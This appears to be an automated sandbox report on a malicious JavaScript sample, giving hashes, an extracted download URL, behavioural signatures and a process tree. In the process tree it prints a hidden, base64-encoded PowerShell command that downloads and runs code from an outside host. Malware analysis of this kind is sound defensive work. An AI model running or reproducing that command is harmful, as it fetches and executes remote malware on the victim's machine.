Analysis
-
max time kernel
152s -
max time network
165s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
26/12/2023, 16:10
Static task
static1
Behavioral task
behavioral1
Sample
7b99b0cd5712708b595c6805c2c23e91.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
7b99b0cd5712708b595c6805c2c23e91.js
Resource
win10v2004-20231215-en
General
-
Target
7b99b0cd5712708b595c6805c2c23e91.js
-
Size
100KB
-
MD5
7b99b0cd5712708b595c6805c2c23e91
-
SHA1
5dc957a0502f586808a6c57689894889c94d9cc6
-
SHA256
c589e3885e93309f931a2c8cb7b490e73c6f1f31f717e286ef5a4b9d44e1adc7
-
SHA512
8a8b74226688dddaa693be0f8ccf283c0a20c021f9943b76c0d40f1615c39547d7dca10fcd899efad32d8780fa4c49b99567bce6b3144d2a4b11aa66aa62cdd2
-
SSDEEP
3072:59Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXH:59Ry9RuXqW4SzUHmLKeMMU7GwWBPwVGM
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 37 3396 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3396 powershell.exe 3396 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3396 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 424 wrote to memory of 3512 424 wscript.exe 92 PID 424 wrote to memory of 3512 424 wscript.exe 92 PID 3512 wrote to memory of 3396 3512 cmd.exe 93 PID 3512 wrote to memory of 3396 3512 cmd.exe 93
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\7b99b0cd5712708b595c6805c2c23e91.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:424 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3396
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82